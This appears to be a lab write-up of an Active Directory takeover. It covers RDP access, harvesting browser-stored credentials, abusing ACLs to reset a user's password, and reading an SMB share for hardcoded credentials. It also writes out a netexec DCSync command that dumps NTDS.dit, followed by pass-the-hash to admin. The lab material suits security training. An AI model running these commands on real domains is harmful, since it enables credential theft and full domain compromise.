## RDP Access as User 'eddie'

* We can now gain access via RDP:

{% code overflow="wrap" expandable="true" %}

```
xfreerdp3 /v:10.0.1.6 /u:eddie /p:'REDACTED' /dynamic-resolution
```

{% endcode %}

* Once we gain access, we can enumerate the host, I was not finding anything within PSReadLine, cached credentials on the host, etc. I did, however, have the idea to check for any stored creds within the browser. I was able to gain access as user 'eddie' and saw that there was a GitLab stored cred for Luisa:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FD1tH2piclnwSett7mfYn%2Fimage.png?alt=media&amp;token=73e76d3f-6523-4e3f-82de-94ff694d84e3" alt=""><figcaption></figcaption></figure>

* I will again send these creds around the network for subnet2.

## LDAP and ACL Enumeration

* We can now list out the writable ACEs for luisa. We can see that luisa has WriteOwner and WriteDacl permissions over the user 'james':

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FpNDRg95AECs2765Ydi1M%2Fimage.png?alt=media&amp;token=96ef58eb-bfef-43f6-a94c-b2ab88d24ce7" alt=""><figcaption></figcaption></figure>

* With these permissions, we can go ahead and change the users password:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FBUOr7cbqPt5lTRtUQBmM%2Fimage.png?alt=media&amp;token=fb145178-96bc-471c-848e-af735da8790f" alt=""><figcaption></figcaption></figure>

* We then find that user 'james' has READ permissions on the Scripts share:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FXvJ4twwofk4OhBN5zqSh%2Fimage.png?alt=media&amp;token=904fe705-11b1-4ad0-8f3a-8ae7936b687a" alt=""><figcaption></figcaption></figure>

## Accessing Scripts Share

* We can now gain access to the Scripts share. We will run the following command as user 'james' and specify the workgroup and then grab all of the files:

{% code overflow="wrap" expandable="true" %}

```
smbclient \\\\10.0.1.5\\Scripts  -U 'james%pwned123!' -W bitstream.hsm
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FAQRfTyLrAo6h4Jg69gCN%2Fimage.png?alt=media&amp;token=49ac56f8-c9f2-46a3-96a4-c34be4cc406d" alt=""><figcaption></figcaption></figure>

* Now, we can enumerate the ps1 scripts to see if we find anything interesting. We find that the Automated-AD-Backup.ps1 file has hardcoded creds for the svc\_backup user:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FDGkHD6AmQ6mFYYXQxc3H%2Fimage.png?alt=media&amp;token=3e6ef0cf-73bb-4cf6-82b9-76cf5b11c7c7" alt=""><figcaption></figcaption></figure>

* Testing authentication:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F7hBVlSy5Nzc0oEeuPY6T%2Fimage.png?alt=media&amp;token=df6d3344-dc14-4f6e-9068-a027944cf5e5" alt=""><figcaption></figcaption></figure>

## More LDAP and ACL Enumeration

* Ok, we have the creds for the svc\_backup account and we know that we can auth to the DC. Now we will check LDAP for info on this user. It looks like this user is a member of the Remote Management Users:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F8y8lDYC3PQiTkf20WdF9%2Fimage.png?alt=media&amp;token=8a1b584d-3a49-4130-b2f6-03062c6e9ddd" alt=""><figcaption></figcaption></figure>

* Impacket-dacledit was failing. I attempted to run the netexec Bloodhound module, but this also failed. I then proceeded to use bloodyAD to attempt to gain Bloodhound data. This method worked:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fqsn0t7jg1LApyZHSqit6%2Fimage.png?alt=media&amp;token=f3a2ce20-c669-4448-bfd7-526d608cfa79" alt=""><figcaption></figcaption></figure>

### Bloodhound Enumeration

* We hit the jackpot! svc\_backup has GetChangesAll on the DC. This means that we can perform a DCSync attack to dump the NTDS.dit from the DC:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FZMo2HAt8LaC75ZaoVVV4%2Fimage.png?alt=media&amp;token=4a8c5768-b9c1-44d1-9cb3-f67e7b3f44c9" alt=""><figcaption></figcaption></figure>

* There are a few ways that we can do this, I will use Netexec for this purpose:

{% code overflow="wrap" expandable="true" %}

```
netexec smb dc01.bitstream.hsm -u svc_backup -p 'REDACTED' --ntds
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FQIr9fhFPXf75mcgOYjff%2Fimage.png?alt=media&amp;token=85ca2d2a-0a47-4728-a11e-eb9d76dd57c0" alt=""><figcaption></figcaption></figure>

## Pass the Hash (Pth)

* Now, we can simply become the admin user by PtH:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F8G0TEr93rAkvjlcBZN7C%2Fimage.png?alt=media&amp;token=77a46145-f4a5-4d9d-b8f9-eee34f753eae" alt=""><figcaption></figcaption></figure>

## Resources

### XSS Vulnerability

* <https://hackviser.com/tactics/pentesting/web/xss>
* <https://hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html?highlight=cross%20site%20scripting#xss-cross-site-scripting>

### DCC2

* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials>